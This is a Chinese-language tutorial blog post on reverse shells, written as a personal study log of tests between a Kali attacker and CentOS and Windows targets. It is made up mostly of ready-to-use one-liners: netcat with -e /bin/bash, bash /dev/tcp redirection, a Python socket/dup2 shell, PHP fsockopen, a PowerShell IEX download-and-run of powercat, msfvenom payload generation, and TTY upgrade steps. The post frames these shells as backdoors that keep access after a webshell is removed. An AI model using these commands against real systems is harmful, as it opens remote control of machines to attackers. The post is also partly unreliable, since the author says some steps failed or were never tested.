0x01 nc简介
nc
即ncat
,即Netcat
(我查到的其他资料显示ncat属于netcat的上位替代,具有netcat的所有功能且还有更多强大的功能),用于从TCP/UDP连接中读取或发送网络数据。cat是Linux中查看或连接文件的命令,所以netcat本意为从网络上查看文件内容。而Netcat的作者Hobbit为它添加了非常丰富的功能,使它几乎能够完成网络操作中各式各样的操作,所以Netcat在网络安全领域被称作“TCPIP的瑞士军刀”(“Swiss-army knife forTCP/IP”)。
Netcat稳定版1.10由Hobbit在1996年3月发布(开源软件),之后作者没有再对其进行维护,但该工具十多年来依然在被广泛地使用,而且基于Netcat的各种衍生工具也层出不穷,他们在很多方面增强或扩展了Netcat的功能。
Nmap团队开发了Ncat作为Netcat的升级版本,增加了更多的功能(如ssl加密、代理连接通过socks4 获取http),让其更能适应现代网络环境的需求。
0x02 nc选项
选项 | 作用 |
---|---|
-4 | 只使用 IPv4 地址 |
-6 | 只使用 IPv6 地址 |
-e | 执行给定的命令 |
-l | 启动本地监听 |
-n | 不使用 DNS 解析 |
-p | 指定源端口 |
-s | 指定源 IP 地址 |
-u | 使用 UDP,默认是 TCP |
-v | 显示详细信息 |
-w | 设定超时时间(只适合用在 Client 端) |
-d | 禁止从标准输入读取数据,也就是客户端输入数据不会发送到服务端 |
-k | 让服务端保持连接,不断开 |
0x03 利用nc命令进行反弹shell
反弹shell是指控制端监听某个TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出传递到控制端的过程。
reverse shell与telnet、ssh等标准shell对应,本质上是网络概念的客户端与服务端的 角色反转。
反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。
这里用作实验的靶机系统为CentOS7,攻击机为kali。
正向shell:
正向反弹shell是指主机先开放端口,攻击机主动连接靶机。
下面是实操过程:
靶机开放端口等待连接
nc -lvvp 7777 -e /bin/bash
攻击机执行下列命令即可
nc 192.168.43.152 7777
反向shell:
反向反弹shell是指攻击机开放端口,等待靶机主动连接。
实操:
攻击机开放并监听7777端口等待靶机连接
nc -lvvp 7777
靶机去主动连接攻击机并向其弹shell
nc -e /bin/bash 192.168.43.66 7777
此时攻击机收到靶机弹过来的shell
0x04 基于bash的反弹shell
注:用作实验的靶机系统为CentOS7,攻击机为kali。
上述方法需要目标主机上安装了nc
工具,那么如果目标主机没有nc呢?此时我们需要其他方式来弹一个shell
这里我用了最基础的也是实战用的最多的bash弹shell的语句:
bash -i >& /dev/tcp/攻击机IP/攻击机开放的端口 0>&1
&>的含义
反弹shell中的&
没有固定含义,放在>
后面的&
,表示重定向的目标不是一个文件,而是一个文件描述符。
- 当
>&
后面接文件时,表示将标准输出和标准错误输出重定向到文件 - 当
>&
后面接文件描述符时,表示将前面的文件描述符重定向到后面的文件描述符
bash -i
表示在本地打开一个bash,/dev/tcp/VPS_IP/VPS_Port
中/dev/tcp/
是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>& /dev/tcp/VPS_IP/VPS_Port
表示将标准输出和标准错误输出重定向到这个文件上,即传递给远程,如果远程开启了对应端口的监听,就会接收到这个bash的标准输出和标准错误输出。
此时在本地输入命令,本地是看不到输入的内容的,因为输入设备输入的命令和输出以及错误输出的内容已经被传递到远程上。
0>&1
表示将标准输入重定向到标准输出,然而此时标准输出已重定向到/dev/tcp/VPS_IP/VPS_Port
这个文件,也就是远程,那么标准输入也就重定向到了远程,所以可以直接在远程输入了。
话不多说,先弹一个试试:
攻击机开放监听端口
nc -lvvp 7777
靶机弹过来一个shell
bash -i >& /dev/tcp/192.168.43.66/7777 0>&1
攻击机此时收到弹过来的shell
成功!
0x05 基于Python的反弹shell
注:这里用作实验的靶机系统为CentOS7,攻击机为kali。
python的反弹shell语句如下:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('VPS_IP',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,打印出来数值为3
0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程 接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。
下面继续,实操:
kali开启7777端口监听
靶机主动向kali弹shell
kali收到弹过来的shell
成功!
0x06 基于PHP的反弹shell
反向shell
这里可以利用php中的fsockopen+exec反弹shell
攻击机nc监听端口
php -r '$sock=fsockopen("192.168.23.130",7777);exec("/bin/bash -i <&3 >&3 2>&3");'
获得shell
正向shell
使用fsockopen去连接远程:
php -r '$sock=fsockopen("目标机IP",port);exec("/bin/bash -i <&3 >&3 2>&3");'
目标机nc开放端口放上shell
nc -lvvp 7777 -e /bin/bash
执行php代码即可连接端口获得shell(注意关闭php的safe_mode)
php -r '$sock=fsockopen("192.168.23.135",7777);exec("/bin/bash -i <&3 >&3 2>&3");'
尴尬,这里出了点问题暂时还没搞好。
0x07 Windows系统下的反弹shell
注:用作实验的靶机系统为Windows10,攻击机为kali。
Windows一般没有nc之类的工具,我试了一下python的语句,结果给我报了错,暂时也没研究怎么去解决,查了查大都是借助了powercat,它是netcat的powershell版本,功能免杀性都要比netcat好用的多。我们需要先在靶机下载powercat,然后结合反弹shell命令。
PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c VPS_IP -p 1234 -e cmd
不过这个我还没搞环境试过 :)
0x08 msfvenom生成一句话反弹
我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出我们需要的各类反弹一句话payload的路径信息。
比如生成一个python的反弹shell命令,先搜索一下
msfvenom -l payloads|grep 'reverse_python'
生成
msfvenom -p cmd/unix/reverse_python lhost=192.168.23.130 lport=7777 R
攻击机监听端口7777
nc -lvvp 7777
复制生成的命令到目标机执行
攻击机获得shell
0x09 获取一个完全交互shell
通过上述命令反弹shell得到的shell并不能称为完全交互的shell,通常称之为’哑’shell。 通常存在以下缺点
- ctrl-c会中断会话
- 无法正常使用vim等文本编辑器
- 没有向上箭头使用历史
- 无法执行交互式命令
- 无法查看错误输出
- 无法使用 tab 命令补全
- 无法操控jobcontrol
因此有必要去获取一个完全交互的shell。
1、在哑 shell 中执行python,使用pty模块,创建一个原生的终端,命令如下:
python -c 'import pty; pty.spawn("/bin/bash")'
运行完后
2、键入 Ctrl-Z暂停任务,切回到攻击机的命令行中;在攻击机中执行:
stty raw -echo
fg #将后台运行或挂起的任务切换到前台运行
3、在哑 shell 中执行,得到一个完全交互的shell,支持命令补全、历史命令查看、语法高亮、vim编辑等功能。
reset 重置终端
export SHELL=bash
export TERM=xterm-256color
stty rows 54 columns 104 设置终端大小
上面的方法是看了一个师傅的博客学到的,我试了试这个方法,得到一个比较奇妙的使用体验=。=
只是一个比较难受的问题就是很多操作(回车,退格等输入)都要加上ctrl才能使用
0x0a 我们为什么要去反弹shell?
1、webshell下执行命令不交互,为了方便提权或其它操作必须要反弹shell。
2、反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。
emm… …才疏学浅,就简单记录到这,有什么错误欢迎师傅们提点(=。=)